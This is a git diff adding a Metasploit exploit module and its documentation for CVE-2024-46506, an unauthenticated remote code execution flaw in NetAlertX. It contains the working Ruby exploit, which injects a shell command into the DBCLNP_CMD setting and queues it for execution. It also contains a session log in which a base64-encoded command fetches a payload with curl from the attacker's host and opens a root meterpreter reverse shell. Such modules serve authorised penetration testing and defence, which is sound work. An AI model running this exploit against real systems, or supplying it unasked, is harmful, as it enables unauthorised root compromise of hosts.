diff --git a/documentation/modules/exploit/linux/http/netalertx_rce_cve_2024_46506.md b/documentation/modules/exploit/linux/http/netalertx_rce_cve_2024_46506.md new file mode 100644 index 000000000000..4c7b8a990279 --- /dev/null +++ b/documentation/modules/exploit/linux/http/netalertx_rce_cve_2024_46506.md @@ -0,0 +1,110 @@ +## Vulnerable Application + +An attacker can update NetAlertX settings with no authentication, which results in RCE. + +The vulnerability affects: + + * v23.01.14 <= NetAlertX <= v24.9.12 + +This module was successfully tested on: + + * NetAlertX v24.9.12 installed with Docker on Ubuntu 22.04 + + +### Installation + +1. `docker pull jokobsk/netalertx:24.9.12` + +2. docker run +```bash +docker run --rm --network=host \ + -v /tmp/netalertx:/app/config \ + -v /tmp/netalertx:/app/db \ + -e TZ=Europe/Berlin \ + -e PORT=20211 \ + jokobsk/netalertx:24.9.12 +``` + + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Do: `use exploit/linux/http/netalertx_rce_cve_2024_46506` +4. Do: `run lhost= rhost=` +5. You should get a meterpreter + + +## Options +### WAIT (required) +Wait time (seconds) for the payload to be set. Default is `75`. + +### CLEANUP +Restore DBCLNP_CMD to original value after execution. Default is `true`. + + +## Scenarios +``` +msf6 > use exploit/linux/http/netalertx_rce_cve_2024_46506 +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp +msf6 exploit(linux/http/netalertx_rce_cve_2024_46506) > options + +Module options (exploit/linux/http/netalertx_rce_cve_2024_46506): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + CLEANUP true no Restore DBCLNP_CMD to original value after execution + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 20211 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + VHOST no HTTP server virtual host + WAIT 75 yes Wait time (seconds) for the payload to be set + + +Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) + FETCH_DELETE true yes Attempt to delete the binary after execution + FETCH_FILENAME GXIuXvsu no Name to use on remote system when storing payload; cannot contain spaces or slashes + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces + LHOST 192.168.0.12 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Linux Command + + + +View the full module info with the info, or info -d command. + +msf6 exploit(linux/http/netalertx_rce_cve_2024_46506) > run lhost=192.168.56.1 rhost=192.168.56.17 +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Version 24.9.12 detected. +[*] Sent request to update DBCLNP_CMD to '/bin/bash -c echo${IFS}Y3VybCAtc28gLi9QWHhyY3hFRCBodHRwOi8vMTkyLjE2OC41Ni4xOjgwODAvRy04Zjhua29IMGRUWkdQc052UzIzZztjaG1vZCAreCAuL1BYeHJjeEVEOy4vUFh4cmN4RUQmc2xlZXAgNztybSAtcmYgLi9QWHhyY3hFRA==|base64${IFS}-d|/bin/bash'. +[*] Waiting settings really updated... +[*] Sending stage (3045380 bytes) to 192.168.56.17 +[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.17:57510) at 2025-02-10 21:57:30 +0900 +[*] Added the payload to the queue. Waiting for the payload to run... +[*] Sent request to update DBCLNP_CMD to 'python3 /app/front/plugins/db_cleanup/script.py pluginskeephistory={pluginskeephistory} hourstokeepnewdevice={hourstokeepnewdevice} daystokeepevents={daystokeepevents} pholuskeepdays={pholuskeepdays}'. + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : 192.168.56.17 +OS : (Linux 6.8.0-51-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` diff --git a/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb b/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb new file mode 100644 index 000000000000..a93b3439583b --- /dev/null +++ b/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb @@ -0,0 +1,157 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Retry + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Unauthenticated RCE in NetAlertX', + 'Description' => %q{ + An attacker can update NetAlertX settings with no authentication, which results in RCE. + }, + 'Author' => [ + 'Chebuya (Rhino Security Labs)', # Vulnerability discovery and PoC + 'Takahiro Yokoyama' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2024-46506'], + ['URL', 'https://rhinosecuritylabs.com/research/cve-2024-46506-rce-in-netalertx/'], + # ['URL', 'https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2024-46506'], Not published (yet?) + ], + 'DefaultOptions' => { + 'FETCH_DELETE' => true, + 'WfsDelay' => 150 + }, + 'Platform' => %w[linux], + 'Targets' => [ + [ + 'Linux Command', { + 'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd + } + ], + ], + 'DefaultTarget' => 0, + 'Payload' => { + 'BadChars' => ' \'\\' + }, + 'DisclosureDate' => '2025-01-30', + 'Notes' => { + 'Stability' => [ CRASH_SAFE, ], + 'SideEffects' => [ CONFIG_CHANGES, ARTIFACTS_ON_DISK, IOC_IN_LOGS ], + 'Reliability' => [ REPEATABLE_SESSION, ] + } + ) + ) + + register_options( + [ + Opt::RPORT(20211), + OptInt.new('WAIT', [ true, 'Wait time (seconds) for the payload to be set', 75 ]), + OptBool.new('CLEANUP', [false, 'Restore DBCLNP_CMD to original value after execution', true]) + ] + ) + register_advanced_options( + [ + OptString.new('Base64Decoder', [true, 'The binary to use for base64 decoding', 'base64-short', %w[base64-short] ]) + ] + ) + end + + def check + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'maintenance.php') + }) + return Exploit::CheckCode::Unknown unless res&.code == 200 + + html_document = res&.get_html_document + return Exploit::CheckCode::Unknown('Failed to get html document.') if html_document.blank? + + version_element = html_document.xpath('//div[text()="Installed version"]//following-sibling::*') + return Exploit::CheckCode::Unknown('Failed to get version element.') if version_element.blank? + + version = Rex::Version.new(version_element.text&.strip&.sub(/^v/, '')) + return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") unless version.between?(Rex::Version.new('23.01.14'), Rex::Version.new('24.9.12')) + + Exploit::CheckCode::Appears("Version #{version} detected.") + end + + def exploit + # Command is split by space character, and executed by the following Python code: + # subprocess.check_output(command, universal_newlines=True, stderr=subprocess.STDOUT, timeout=(set_RUN_TIMEOUT)) + # https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/server/plugin.py#L206 + # https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/server/plugin.py#L214 + cmd = "/bin/sh -c #{payload.encode}" + update_settings(cmd, '*') + # Not updated immediately + print_status('Waiting for the settings to be properly updated...') + retry_until_truthy(timeout: datastore['WAIT']) do + check_settings(cmd) + end + add_to_execution_queue('run|DBCLNP') + add_to_execution_queue('cron_restart_backend') + print_status('Added the payload to the queue. Waiting for the payload to run...') + end + + def update_settings(cmd, sche) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'php/server/util.php'), + 'vars_post' => { + 'function' => 'savesettings', + 'settings' => [ + ['DBCLNP', 'DBCLNP_RUN', 'string', 'schedule'], + ['DBCLNP', 'DBCLNP_CMD', 'string', cmd], + ['DBCLNP', 'DBCLNP_RUN_SCHD', 'string', "#{sche} * * * *"], + ].to_json + } + }) + fail_with(Failure::Unknown, 'Failed to update settings.') unless res&.code == 200 + print_status("Sent request to update DBCLNP_CMD to '#{cmd}'.") + end + + def add_to_execution_queue(cmd) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'php/server/util.php'), + 'vars_post' => { + 'function' => 'addToExecutionQueue', + 'action' => "#{SecureRandom.uuid}|#{cmd}" + } + }) + fail_with(Failure::Unknown, 'Failed to add the payload to the queue.') unless res&.code == 200 + end + + def check_settings(cmd) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'api/table_settings.json') + }) + return unless res&.code == 200 + + res.get_json_document['data']&.detect { |row| row['Code_Name'] == 'DBCLNP_CMD' && row['Value'] == cmd } + end + + def cleanup + super + + if datastore['CLEANUP'] + # Default settings, isn't usually changed. + # https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/front/plugins/db_cleanup/config.json#L92 + update_settings( + 'python3 /app/front/plugins/db_cleanup/script.py pluginskeephistory={pluginskeephistory} hourstokeepnewdevice={hourstokeepnewdevice} daystokeepevents={daystokeepevents} pholuskeepdays={pholuskeepdays}', + '*/30' + ) + end + end +end